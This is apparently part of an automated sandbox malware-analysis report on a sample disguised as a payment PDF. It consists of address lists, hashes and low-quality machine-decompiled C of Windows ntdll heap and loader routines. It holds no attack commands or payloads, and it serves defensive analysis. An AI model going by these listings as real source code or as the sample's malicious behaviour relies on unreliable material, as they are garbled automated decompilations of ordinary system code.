0x334eed41
0x334eecfc
0x334eecfc
0x334eed01
0x334eedca
0x334eedca
0x334eedcd
0x334eedd0
0x334eedd1
0x334eedd4
0x334eedd8
0x00000000
0x334eedd8
0x334eecce
0x334eecce
0x334eedf2
0x334eedf2
0x334eedf2
0x334eeccc
0x00000000
0x334eecc1
0x00000000
0x334eedde
0x334eec9d
0x334eedf5
0x334eedf5
0x334eedfc
0x334eee04
0x334eee04
0x334eee47
0x334eee53

APIs

RtlDebugPrintTimes.NTDLL ref: 334EEC61
RtlDebugPrintTimes.NTDLL ref: 334EEC89
RtlDebugPrintTimes.NTDLL ref: 334EED2C
RtlDebugPrintTimes.NTDLL ref: 334EEDE0

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID: DebugPrintTimes
String ID:
API String ID: 3446177414-0
Opcode ID: 5a94f540a5aa1522275f12d768db40238abf348db5f1ed968ea17003ffad39fd
Instruction ID: c2ca72fa2797ca8304297e91b2b4fc597944302be432ee2fec5bc57be0e17c7b
Opcode Fuzzy Hash: 5a94f540a5aa1522275f12d768db40238abf348db5f1ed968ea17003ffad39fd
Instruction Fuzzy Hash: 6A7124B1E0022A9FDF00CFA9C884ADDBBB5BF48355F14402AE915EB365D734A946CF58

Uniqueness

Uniqueness Score: -1.00%

Function 3354A04A Relevance: 6.2, APIs: 4, Instructions: 170timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.NTDLL ref: 3354A0F7
RtlDebugPrintTimes.NTDLL ref: 3354A1AA
RtlDebugPrintTimes.NTDLL ref: 3354A1CE
RtlDebugPrintTimes.NTDLL ref: 3354A1E3

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID: DebugPrintTimes
String ID:
API String ID: 3446177414-0
Opcode ID: faa43f5e1fabd1ef4558129f2277431a63d41e4136ffd78dc4e883b99afaa283
Instruction ID: e2fda6a30b82fcf0e88bc0d8035e1b12b18e7afcca58b8ce67db2e73d92cd27c
Opcode Fuzzy Hash: faa43f5e1fabd1ef4558129f2277431a63d41e4136ffd78dc4e883b99afaa283
Instruction Fuzzy Hash: 1A519C78700652DFEB4CCE18E8A2A19B7E5FF89350B24446DE90ADB720DB71EC41CB80

Uniqueness

Uniqueness Score: -1.00%

Function 334A7A4F Relevance: 6.1, APIs: 4, Instructions: 81
timethreadCOMMON

Download Yara Rule

C-Code - Quality: 25%

			E334A7A4F(void* __ebx, intOrPtr* __ecx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				signed int _t34;
				signed int _t35;
				signed int _t40;
				intOrPtr _t42;
				void* _t50;
				intOrPtr* _t55;
				intOrPtr* _t69;
				void* _t73;

				_t63 = __edx;
				_t51 = __ebx;
				_push(0x30);
				_push(0x3354c840);
				E334C7BE4(__ebx, __edi, __esi);
				_t66 = __ecx;
				 *(_t73 - 4) =  *(_t73 - 4) & 0x00000000;
				_t69 =  *0x33565a7c;
				_push(__edx);
				if(_t69 == 0) {
					 *0x335691e0();
					E334AB490(__ecx, __edx,  *__ecx());
					_t55 =  *((intOrPtr*)(_t73 - 0x14));
					 *((intOrPtr*)(_t73 - 0x40)) =  *((intOrPtr*)( *_t55));
					 *((intOrPtr*)(_t73 - 0x24)) = _t55;
					_t34 =  *0x33565d38; // 0x4f092c9d
					 *(_t73 - 0x30) = _t34;
					__eflags =  *0x335665fc; // 0xf117a7a7
					if(__eflags == 0) {
						_push(0);
						_push("true");
						_push(_t73 - 0x2c);
						_push(0x24);
						_push(0xffffffff);
						 *(_t73 - 0x1c) = E334B2B20();
						__eflags =  *(_t73 - 0x1c);
						if( *(_t73 - 0x1c) < 0) {
							L334C8AA0(_t55, _t63,  *(_t73 - 0x1c));
						}
						 *0x335665fc =  *(_t73 - 0x2c);
					}
					_t35 =  *0x335665fc; // 0xf117a7a7
					 *(_t73 - 0x20) = _t35;
					_push(0x20);
					asm("ror eax, cl");
					 *(_t73 - 0x34) =  *(_t73 - 0x30);
					_t40 =  *(_t73 - 0x34) ^  *(_t73 - 0x20);
					__eflags = _t40;
					 *(_t73 - 0x38) = _t40;
					if(__eflags == 0) {
						_push(0x334450b4);
						_push( *((intOrPtr*)(_t73 - 0x24)));
						 *((intOrPtr*)(_t73 - 0x3c)) = L33528890(_t51, _t63, _t66, 0, __eflags);
						_t42 =  *((intOrPtr*)(_t73 - 0x3c));
					} else {
						 *0x335691e0( *((intOrPtr*)(_t73 - 0x24)));
						_t42 =  *( *(_t73 - 0x38))();
					}
					 *((intOrPtr*)(_t73 - 0x28)) = _t42;
					return  *((intOrPtr*)(_t73 - 0x28));
				} else {
					 *0x335691e0();
					_t50 =  *_t69();
					 *(_t73 - 4) = 0xfffffffe;
					 *[fs:0x0] =  *((intOrPtr*)(_t73 - 0x10));
					return _t50;
				}
			}

0x334a7a4f
0x334a7a4f
0x334a7a4f
0x334a7a51
0x334a7a56
0x334a7a5b
0x334a7a5d
0x334a7a61
0x334a7a67
0x334a7a6a
0x334e47f8
0x334e4801
0x334e4806
0x334e480d
0x334e4810
0x334e4813
0x334e4818
0x334e481d
0x334e4823
0x334e4825
0x334e4826
0x334e482b
0x334e482c
0x334e482e
0x334e4835
0x334e4838
0x334e483b
0x334e4840
0x334e4840
0x334e4848
0x334e4848
0x334e484d
0x334e4852
0x334e485b
0x334e4863
0x334e4865
0x334e486b
0x334e486b
0x334e486e
0x334e4871
0x334e4885
0x334e488a
0x334e4892
0x334e4895
0x334e4873
0x334e487b
0x334e4881
0x334e4881
0x334e4898
0x334e489e
0x334a7a70
0x334a7a72
0x334a7a7c
0x334e48ac
0x334e48b6
0x334e48c2
0x334e48c2

APIs

RtlDebugPrintTimes.NTDLL ref: 334A7A72
BaseThreadInitThunk.KERNEL32 ref: 334A7A7C
RtlDebugPrintTimes.NTDLL ref: 334E47F8
RtlDebugPrintTimes.NTDLL ref: 334E487B

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID: DebugPrintTimes$BaseInitThreadThunk
String ID:
API String ID: 4281723722-0
Opcode ID: 6812d5506979ef4d125c0138f0d1fe2b2a3828eff9164fb0eea196d74bc60173
Instruction ID: b790c03b7fbec1b6fafda5e4d31a87dd7f8366e2885d29cd2d11175e89700ab5
Opcode Fuzzy Hash: 6812d5506979ef4d125c0138f0d1fe2b2a3828eff9164fb0eea196d74bc60173
Instruction Fuzzy Hash: 0D310479E012589FCF05DFA8D845A9DBBF1BB48321F10416AE521B7390DB355942CF58

Uniqueness

Uniqueness Score: -1.00%

Function 33518B90 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 298
COMMON

Download Yara Rule

C-Code - Quality: 56%

			E33518B90(signed int __ecx, signed int __edx, signed int _a4) {
				intOrPtr _v44;
				intOrPtr _v52;
				intOrPtr _v56;
				signed int _v60;
				signed int _v64;
				char _v68;
				char _v76;
				signed int _v80;
				intOrPtr _v84;
				intOrPtr _v88;
				char _v124;
				intOrPtr _v128;
				signed int _v132;
				char _v136;
				intOrPtr _v140;
				signed int _v144;
				signed int _v152;
				signed int _v156;
				signed int _v160;
				char _v164;
				signed int _v168;
				char _v172;
				signed int _v176;
				signed int _v180;
				char _v184;
				char _v188;
				signed int _t124;
				signed int _t133;
				signed int _t136;
				char* _t137;
				signed int _t138;
				signed int _t141;
				char _t146;
				signed int _t152;
				signed int _t156;
				signed int _t160;
				char* _t163;
				signed int _t165;
				signed int _t170;
				void* _t175;
				signed int* _t177;
				signed int _t182;
				char _t183;
				signed int _t191;
				void* _t195;
				signed int _t196;
				signed int _t197;
				signed int _t198;
				signed int _t200;
				signed int _t203;
				signed int _t204;
				signed int _t206;
				signed int _t207;
				signed int _t210;
				signed int _t211;
				signed int _t212;
				void* _t214;

				_t192 = __edx;
				_t214 = (_t212 & 0xfffffff8) - 0xb4;
				_t175 = __ecx;
				_t206 = __edx;
				_v160 = __edx;
				if((__ecx & 0x00000003) <= 0) {
					__eflags =  *__ecx - 0xffffffff;
					if( *__ecx != 0xffffffff) {
						_t200 = 0;
						_v172 = 0x10000;
						_v176 = 0;
						while(1) {
							_push(_t200);
							_push(0x8000000);
							_push("true");
							_v180 = _t200;
							_push( &_v172);
							_push(_t200);
							_push(0xf001f);
							_v168 = _t200;
							_push( &_v180);
							_t207 = E334B2E50();
							__eflags = _t207;
							if(_t207 < 0) {
								break;
							}
							L334B8F40( &_v76, _t200, 0x48);
							_t214 = _t214 + 0xc;
							_v60 =  *(_t175 + 4);
							_v56 =  *((intOrPtr*)(_t175 + 8));
							_v68 = _v172;
							_v64 = _v168;
							_v76 = _v180;
							_t207 = E33518305( *_t175,  &_v76);
							__eflags = _t207 - 0xc0000023;
							if(_t207 != 0xc0000023) {
								__eflags = _t207;
								if(_t207 < 0) {
									L55:
									__eflags = _v176;
									if(_v176 != 0) {
										_push(_v176);
										_push(0xffffffff);
										L334B2C50();
									}
									__eflags = _v180;
									if(_v180 != 0) {
										_push(_v180);
										E334B2A80();
									}
									_t124 = _t207;
									goto L60;
								}
								_push("true");
								_push(_t200);
								_push("true");
								_v156 = _t200;
								_push( &_v164);
								_v152 = _t200;
								_push( &_v156);
								_push(0x10000);
								_push(_t200);
								_push( &_v176);
								_push(0xffffffff);
								_push(_v180);
								_v164 = 0x10000;
								_t207 = E334B2C30();
								__eflags = _t207;
								if(_t207 < 0) {
									goto L55;
								}
								L334B8F40( &_v124, 0, 0x30);
								_t133 =  *(_t175 + 0xc);
								_v144 = _t133;
								__eflags = _t133;
								if(_t133 == 0) {
									_t66 = _t175 + 0x14; // 0x14
									_v124 = _t175;
									_v84 = _t66;
									_t136 = _v160 + _t175;
									__eflags = _t136;
									_v88 = _t175;
									_v80 = _t136;
									_t137 =  &_v124;
									_v144 = 0x33517be0;
								} else {
									_t137 =  *((intOrPtr*)(_t175 + 0x10));
								}
								_v160 = _v160 & _t200;
								_v140 = _t137;
								__eflags = _v44 - _t200;
								if(_v44 <= _t200) {
									L47:
									__eflags = _v144 - 0x33517be0;
									if(_v144 != 0x33517be0) {
										_t138 = _a4;
										__eflags = _t138;
										if(_t138 != 0) {
											 *_t138 = 0x2c;
										}
									} else {
										__eflags = _t207;
										if(_t207 >= 0) {
											_t182 = _a4;
											__eflags = _t182;
											if(_t182 != 0) {
												_t141 = _v84 - _v88;
												__eflags = _t141;
												 *_t182 = _t141;
											}
											__eflags = _v84 - _v80;
											if(_v84 > _v80) {
												_t207 = 0xc0000023;
											}
										}
									}
									goto L55;
								} else {
									while(1) {
										_t203 = _t200 + 0x00000003 & 0xfffffffc;
										__eflags = _t203 - _v172;
										if(_t203 >= _v172) {
											break;
										}
										_t183 = _v164;
										__eflags = _t203 - _t183 + _t183;
										if(_t203 >= _t183 + _t183) {
											break;
										}
										_t195 = _t183 + _v156;
										asm("adc eax, [esp+0x2c]");
										__eflags = 0 - _v168;
										if(__eflags > 0) {
											break;
										}
										if(__eflags < 0) {
											L39:
											_t196 = _v176;
											_t177 = _t203 + _t196;
											__eflags = _t203 + 8 - _t183;
											if(_t203 + 8 >= _t183) {
												L41:
												_push(_t196);
												_push(0xffffffff);
												L334B2C50();
												_t146 = _v172;
												_push("true");
												_v164 = _v164 + _t146;
												_push(0);
												asm("adc [esp+0x34], ebx");
												_push("true");
												_push( &_v172);
												_v184 = 0;
												_push( &_v164);
												_push(_t146);
												_push(0);
												_push( &_v184);
												_push(0xffffffff);
												_t94 =  &_v188; // 0x33517be0
												_push( *_t94);
												_t207 = E334B2C30();
												__eflags = _t207;
												if(_t207 < 0) {
													goto L47;
												}
												_t203 = 0;
												_t177 = _v176;
												L43:
												 *0x335691e0(_t177, _v140);
												_t207 =  *_v144();
												__eflags = _t207;
												if(_t207 < 0) {
													goto L47;
												}
												_t200 = _t203 + _t177[1];
												_t152 = _v168 + 1;
												_v168 = _t152;
												__eflags = _t152 - _v52;
												if(_t152 < _v52) {
													continue;
												}
												goto L47;
											}
											__eflags =  *_t177;
											if( *_t177 != 0) {
												goto L43;
											}
											goto L41;
										}
										__eflags = _t195 - _v172;
										if(_t195 > _v172) {
											break;
										}
										goto L39;
									}
									_t207 = 0xc000003e;
									goto L47;
								}
							}
							_push(_v180);
							E334B2A80();
							_t156 = _v52 + 0x0000ffff & 0xffff0000;
							__eflags = _t156;
							_v176 = _t156;
						}
						goto L55;
					} else {
						_v136 =  *((intOrPtr*)(__ecx + 8));
						L334B8F40( &_v124, 0, 0x30);
						_t160 =  *(_t175 + 0xc);
						__eflags = _t160;
						if(_t160 == 0) {
							_t10 = _t175 + 0x14; // 0x14
							_v124 = _t175;
							_v84 = _t10;
							_v80 = _t175 + _t206;
							_t163 =  &_v124;
							_v88 = _t175;
							_v132 = 0x33517be0;
						} else {
							_v132 = _t160;
							_t163 =  *((intOrPtr*)(_t175 + 0x10));
						}
						_v128 = _t163;
						L3347FED0(0x33564800);
						_t165 =  *(_t175 + 4);
						__eflags = _t165;
						if(_t165 != 0) {
							__eflags =  *((intOrPtr*)(_t165 + 8)) - 0xddeeddee;
							if( *((intOrPtr*)(_t165 + 8)) != 0xddeeddee) {
								_t204 =  *(_t165 + 0x7c) & 0x0000ffff;
							} else {
								_t204 =  *(_t165 + 0x14) & 0x0000ffff;
							}
							__eflags = _t204 - 0xffff;
							if(_t204 != 0xffff) {
								E3349DAC0(0xffff, _t165);
								_t165 =  *(_t175 + 4);
							}
							_t188 =  &_v136;
							_t210 = E33519060(_t165,  &_v136);
							__eflags = _t204 - 0xffff;
							if(_t204 != 0xffff) {
								E3349DA20( &_v136,  *(_t175 + 4));
							}
						} else {
							_t188 =  &_v136;
							_t210 = L33518F76( &_v136, _t192);
						}
						_push(0x33564800);
						E3347E740(_t188);
						_t27 = _t210 + 0x7fffffe6; // 0x7fffffe6
						asm("sbb ecx, ecx");
						_t191 =  ~_t27 & _t210;
						__eflags = _v136 - 0x33517be0;
						_t124 = _t191;
						if(_v136 != 0x33517be0) {
							_t197 = _a4;
							__eflags = _t197;
							if(_t197 != 0) {
								 *_t197 = 0x2c;
								_t124 = _t191;
							}
						} else {
							__eflags = _t191;
							if(_t191 >= 0) {
								_t198 = _a4;
								_t211 = _v80;
								__eflags = _t198;
								if(_t198 != 0) {
									_t170 = _t211 - _v84;
									__eflags = _t170;
									 *_t198 = _t170;
								}
								_t124 = _t191;
								__eflags = _t211 - _v76;
								if(_t211 > _v76) {
									_t124 = 0xc0000023;
								}
							}
						}
						goto L60;
					}
				} else {
					_t124 = 0xc000000d;
					L60:
					return _t124;
				}
			}

0x33518b90
0x33518b98
0x33518ba0
0x33518ba2
0x33518ba4
0x33518bac
0x33518bb8
0x33518bbb
0x33518cdd
0x33518cdf
0x33518ce7
0x33518d65
0x33518d65
0x33518d66
0x33518d6b
0x33518d71
0x33518d75
0x33518d76
0x33518d77
0x33518d80
0x33518d84
0x33518d8a
0x33518d8c
0x33518d8e
0x00000000
0x00000000
0x33518cf5
0x33518d06
0x33518d09
0x33518d13
0x33518d1e
0x33518d29
0x33518d34
0x33518d3d
0x33518d3f
0x33518d45
0x33518d99
0x33518d9b
0x33518f49
0x33518f49
0x33518f4e
0x33518f50
0x33518f54
0x33518f56
0x33518f56
0x33518f5b
0x33518f60
0x33518f62
0x33518f66
0x33518f66
0x33518f6b
0x00000000
0x33518f6b
0x33518da1
0x33518da3
0x33518da4
0x33518daa
0x33518dae
0x33518db3
0x33518db7
0x33518dc1
0x33518dc2
0x33518dc3
0x33518dc4
0x33518dc6
0x33518dca
0x33518dd3
0x33518dd5
0x33518dd7
0x00000000
0x00000000
0x33518de6
0x33518deb
0x33518df1
0x33518df5
0x33518df7
0x33518dfe
0x33518e01
0x33518e05
0x33518e0d
0x33518e0d
0x33518e0f
0x33518e13
0x33518e17
0x33518e1b
0x33518df9
0x33518df9
0x33518df9
0x33518e23
0x33518e27
0x33518e2b
0x33518e32
0x33518f0c
0x33518f0c
0x33518f14
0x33518f3c
0x33518f3f
0x33518f41
0x33518f43
0x33518f43
0x33518f16
0x33518f16
0x33518f18
0x33518f1a
0x33518f1d
0x33518f1f
0x33518f25
0x33518f25
0x33518f29
0x33518f29
0x33518f2f
0x33518f33
0x33518f35
0x33518f35
0x33518f33
0x33518f18
0x00000000
0x33518e38
0x33518e38
0x33518e3b
0x33518e3e
0x33518e42
0x00000000
0x00000000
0x33518e48
0x33518e4f
0x33518e51
0x00000000
0x00000000
0x33518e5b
0x33518e5f
0x33518e63
0x33518e67
0x00000000
0x00000000
0x33518e6d
0x33518e79
0x33518e79
0x33518e80
0x33518e83
0x33518e85
0x33518e8c
0x33518e8c
0x33518e8d
0x33518e8f
0x33518e94
0x33518e9c
0x33518ea0
0x33518ea4
0x33518ea5
0x33518ea9
0x33518eab
0x33518eb0
0x33518eb4
0x33518eb5
0x33518eb6
0x33518ebb
0x33518ebc
0x33518ebe
0x33518ebe
0x33518ec7
0x33518ec9
0x33518ecb
0x00000000
0x00000000
0x33518ecd
0x33518ecf
0x33518ed3
0x33518ede
0x33518ee6
0x33518ee8
0x33518eea
0x00000000
0x00000000
0x33518ef0
0x33518ef3
0x33518ef4
0x33518ef8
0x33518eff
0x00000000
0x00000000
0x00000000
0x33518f05
0x33518e87
0x33518e8a
0x00000000
0x00000000
0x00000000
0x33518e8a
0x33518e6f
0x33518e73
0x00000000
0x00000000
0x00000000
0x33518e73
0x33518f07
0x00000000
0x33518f07
0x33518e32
0x33518d47
0x33518d4b
0x33518d5c
0x33518d5c
0x33518d61
0x33518d61
0x00000000
0x33518bc1
0x33518bc6
0x33518bd1
0x33518bd6
0x33518bdc
0x33518bde
0x33518be9
0x33518bec
0x33518bf0
0x33518bf7
0x33518bfb
0x33518bff
0x33518c03
0x33518be0
0x33518be0
0x33518be4
0x33518be4
0x33518c10
0x33518c14
0x33518c19
0x33518c1c
0x33518c1e
0x33518c2d
0x33518c34
0x33518c3c
0x33518c36
0x33518c36
0x33518c36
0x33518c45
0x33518c48
0x33518c4b
0x33518c50
0x33518c50
0x33518c53
0x33518c5e
0x33518c65
0x33518c68
0x33518c6d
0x33518c6d
0x33518c20
0x33518c20
0x33518c29
0x33518c29
0x33518c72
0x33518c77
0x33518c7c
0x33518c84
0x33518c86
0x33518c88
0x33518c90
0x33518c92
0x33518cc5
0x33518cc8
0x33518cca
0x33518cd0
0x33518cd6
0x33518cd6
0x33518c94
0x33518c94
0x33518c96
0x33518c9c
0x33518c9f
0x33518ca3
0x33518ca5
0x33518ca9
0x33518ca9
0x33518cad
0x33518cad
0x33518caf
0x33518cb1
0x33518cb5
0x33518cbb
0x33518cbb
0x33518cb5
0x33518c96
0x00000000
0x33518c92
0x33518bae
0x33518bae
0x33518f6d
0x33518f73
0x33518f73

Strings

HEAP: , xrefs: 33518B9E
{Q3, xrefs: 33518EBE

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID: HEAP: ${Q3
API String ID: 0-1228577585
Opcode ID: ef895f287b32b29479e2b075bf44a50bf5ea51044c7e1ad8860cffef46e20f39
Instruction ID: f14d33dde810e78cbf82e1fdc66f7a8378fd985e7ef1626d8f26fe6f6bbc7a29
Opcode Fuzzy Hash: ef895f287b32b29479e2b075bf44a50bf5ea51044c7e1ad8860cffef46e20f39
Instruction Fuzzy Hash: 7EB19871E093019FEB20CF28D880A4BBBE5EF84755F544A2EF994CB290DB34D954CB92

Uniqueness

Uniqueness Score: -1.00%

Function 334A4B79 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 164
COMMON

Download Yara Rule

C-Code - Quality: 50%

			E334A4B79(intOrPtr* __ecx, signed int __edx) {
				signed int _v8;
				signed int _v60;
				intOrPtr _v64;
				intOrPtr _v68;
				signed int _v72;
				intOrPtr _v76;
				signed int _v84;
				signed int _v88;
				char _v92;
				signed int _v96;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t82;
				signed int _t86;
				signed int _t89;
				intOrPtr* _t97;
				signed int _t99;
				void* _t102;
				void* _t104;
				signed int _t111;
				intOrPtr* _t112;
				intOrPtr* _t113;
				signed int _t114;
				void* _t115;

				_t107 = __edx;
				_t72 =  *0x3356b370 ^ _t114;
				_v8 =  *0x3356b370 ^ _t114;
				_t110 = __ecx;
				_v96 = __edx;
				_t99 = __edx;
				if(__edx == 0 || ( *(__edx + 8) & 0x00000004) != 0) {
					L12:
					return E334B4B50(_t72, _t97, _v8 ^ _t114, _t107, _t110, _t111);
				} else {
					_t110 = __ecx + 4;
					_t97 =  *_t110;
					while(_t97 != _t110) {
						_t6 = _t97 - 8; // -4
						_t111 = _t6;
						_t107 = 1;
						if( *_t111 != 0x74736c46) {
							_v84 = _v84 & 0x00000000;
							_push( &_v92);
							_v76 = 4;
							_v72 = 1;
							_v68 = 1;
							_v64 = _t110;
							_v60 = _t111;
							_v92 = 0xc0150015;
							_v88 = 1;
							E334C8A60(_t99, 1);
							_t99 = _v96;
							_t107 = 1;
						}
						if( *(_t111 + 0x14) !=  !( *(_t111 + 4))) {
							_v84 = _v84 & 0x00000000;
							_push( &_v92);
							_v76 = 4;
							_v72 = _t107;
							_v68 = 2;
							_v64 = _t110;
							_v60 = _t111;
							_v92 = 0xc0150015;
							_v88 = _t107;
							E334C8A60(_t99, _t107);
							_t99 = _v96;
						}
						_t9 = _t111 + 0x18; // 0x1c
						_t72 = _t9;
						if(_t99 < _t9) {
							L13:
							_t97 =  *_t97;
							continue;
						} else {
							_t10 = _t111 + 0x618; // 0x614
							_t72 = _t10;
							if(_t99 >= _t10) {
								goto L13;
							} else {
								_v96 = 0x30;
								_t82 = _t99 - _t111 - 0x18;
								asm("cdq");
								_t107 = _t82 % _v96;
								_t72 = 0x18 + _t82 / _v96 * 0x30 + _t111;
								if(_t99 == 0x18 + _t82 / _v96 * 0x30 + _t111) {
									_t72 =  *(_t111 + 4);
									if(_t72 != 0) {
										_t86 = _t72 - 1;
										 *(_t111 + 4) = _t86;
										_t72 =  !_t86;
										 *(_t111 + 0x14) =  !_t86;
										 *((intOrPtr*)(_t99 + 8)) = 4;
										if( *(_t111 + 4) == 0) {
											_t72 =  *(_t97 + 4);
											if(_t72 != _t110) {
												do {
													_t111 =  *(_t72 + 4);
													_t56 = _t72 - 8; // 0xfffffff6
													_t107 = _t56;
													if( *((intOrPtr*)(_t107 + 4)) != 0) {
														goto L33;
													} else {
														_t102 =  *_t72;
														if( *(_t102 + 4) != _t72 ||  *_t111 != _t72) {
															_push("true");
															asm("int 0x29");
															_t104 = 0x3f;
															if( *((intOrPtr*)(_t72 + 2)) == _t104 &&  *(_t72 + 4) == _t104 &&  *((intOrPtr*)(_t72 + 6)) == _t111 &&  *(_t72 + 8) != _t97 &&  *((short*)(_t72 + 0xa)) == 0x3a &&  *((intOrPtr*)(_t72 + 0xc)) == _t111) {
																_t72 = _t72 + 8;
															}
															_t112 =  *0x335665e4; // 0x764af0e0
															 *0x335691e0(_t107, _t72,  &_v8);
															_t113 =  *_t112();
															if(_t113 >= 0) {
																L18:
																_t89 = _v8;
																if(_t89 != 0) {
																	if( *(_t110 + 0x48) != _t97) {
																		E334726A0(_t89,  *(_t110 + 0x48));
																		_t89 = _v8;
																	}
																	 *(_t110 + 0x48) = _t89;
																}
																if(_t113 < 0) {
																	if(( *0x335637c0 & 0x00000003) != 0) {
																		E334EE692("minkernel\\ntdll\\ldrsnap.c", 0x2eb, "LdrpFindDllActivationContext", _t97, "Querying the active activation context failed with status 0x%08lx\n", _t113);
																	}
																	if(( *0x335637c0 & 0x00000010) != 0) {
																		asm("int3");
																	}
																}
																return _t113;
															} else {
																if(_t113 != 0xc000008a) {
																	if(_t113 == 0xc000008b || _t113 == 0xc0000089 || _t113 == 0xc000000f || _t113 == 0xc0000204 || _t113 == 0xc0000002) {
																		goto L16;
																	} else {
																		if(_t113 != 0xc00000bb) {
																			goto L18;
																		} else {
																			goto L16;
																		}
																	}
																	goto L53;
																} else {
																	L16:
																	if(( *0x335637c0 & 0x00000005) != 0) {
																		_push(_t113);
																		E334EE692("minkernel\\ntdll\\ldrsnap.c", 0x2ce, "LdrpFindDllActivationContext", 2, "Probing for the manifest of DLL \"%wZ\" failed with status 0x%08lx\n", _t110 + 0x24);
																		_t115 = _t115 + 0x1c;
																	}
																	_t113 = _t97;
																}
																goto L18;
															}
														} else {
															 *_t111 = _t102;
															 *(_t102 + 4) = _t111;
															E33483BC0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t107);
															goto L33;
														}
													}
													goto L53;
													L33:
													_t72 = _t111;
												} while (_t111 != _t110);
											}
										}
									}
								}
								goto L12;
							}
						}
						goto L53;
					}
					goto L12;
				}
				L53:
			}

0x334a4b79
0x334a4b86
0x334a4b88
0x334a4b8e
0x334a4b90
0x334a4b93
0x334a4b97
0x334a4c27
0x334a4c35
0x334a4ba7
0x334a4ba7
0x334a4baa
0x334a4bac
0x334a4bb2
0x334a4bb2
0x334a4bb5
0x334a4bbc
0x334e330f
0x334e3316
0x334e3317
0x334e331e
0x334e3321
0x334e3324
0x334e3327
0x334e332a
0x334e3331
0x334e3334
0x334e3339
0x334e333e
0x334e333e
0x334a4bca
0x334e3344
0x334e334b
0x334e334c
0x334e3353
0x334e3356
0x334e335d
0x334e3360
0x334e3363
0x334e336a
0x334e336d
0x334e3372
0x334e3372
0x334a4bd0
0x334a4bd0
0x334a4bd5
0x334a4c36
0x334a4c36
0x00000000
0x334a4bd7
0x334a4bd7
0x334a4bd7
0x334a4bdf
0x00000000
0x334a4be1
0x334a4be3
0x334a4bec
0x334a4bef
0x334a4bf0
0x334a4bf9
0x334a4bfd
0x334a4bff
0x334a4c04
0x334a4c06
0x334a4c07
0x334a4c0a
0x334a4c0c
0x334a4c0f
0x334a4c1a
0x334a4c1c
0x334a4c21
0x334e337a
0x334e337a
0x334e337d
0x334e337d
0x334e3384
0x00000000
0x334e3386
0x334e3386
0x334e338b
0x334e33b2
0x334e33b5
0x334e33b9
0x334e33be
0x334e33f7
0x334e33f7
0x334a4c76
0x334a4c84
0x334a4c8c
0x334a4c90
0x334a4ca9
0x334a4ca9
0x334a4cae
0x334a4ce4
0x334a4cee
0x334a4cf3
0x334a4cf3
0x334a4ce6
0x334a4ce6
0x334a4cb2
0x334e3463
0x334e347b
0x334e3480
0x334e348a
0x334e3490
0x334e3490
0x334e348a
0x334a4cbe
0x334a4c92
0x334a4c98
0x334a4cc5
0x00000000
0x334e3423
0x334e3429
0x00000000
0x334e342f
0x00000000
0x334e342f
0x334e3429
0x00000000
0x334a4c9a
0x334a4c9a
0x334a4ca1
0x334e3434
0x334e344f
0x334e3454
0x334e3454
0x334a4ca7
0x334a4ca7
0x00000000
0x334a4c98
0x334e3391
0x334e3398
0x334e339c
0x334e33a2
0x00000000
0x334e33a2
0x334e338b
0x00000000
0x334e33a7
0x334e33a7
0x334e33a9
0x334e33ad
0x334a4c21
0x334a4c1a
0x334a4c04
0x00000000
0x334a4bfd
0x334a4bdf
0x00000000
0x334a4bd5
0x00000000
0x334a4bac
0x00000000

Strings

0, xrefs: 334A4BE3
Flst, xrefs: 334A4BB6

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID: 0$Flst
API String ID: 0-758220159
Opcode ID: 153c7db340283af26715d75d222096f0e9b46b8420de4bb3918bce9e7ad93b08
Instruction ID: 5a2f94db13c6b95ef74264455b4782c3ed0e64bdd71aaccb69448a8627d00066
Opcode Fuzzy Hash: 153c7db340283af26715d75d222096f0e9b46b8420de4bb3918bce9e7ad93b08
Instruction Fuzzy Hash: 3951AAB5E002588FEB21CF99D484A5DFBF8EF54795F19802ED0499B340EB709982CB88

Uniqueness

Uniqueness Score: -1.00%

Function 33470485 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 135
timeCOMMON

Download Yara Rule

C-Code - Quality: 66%

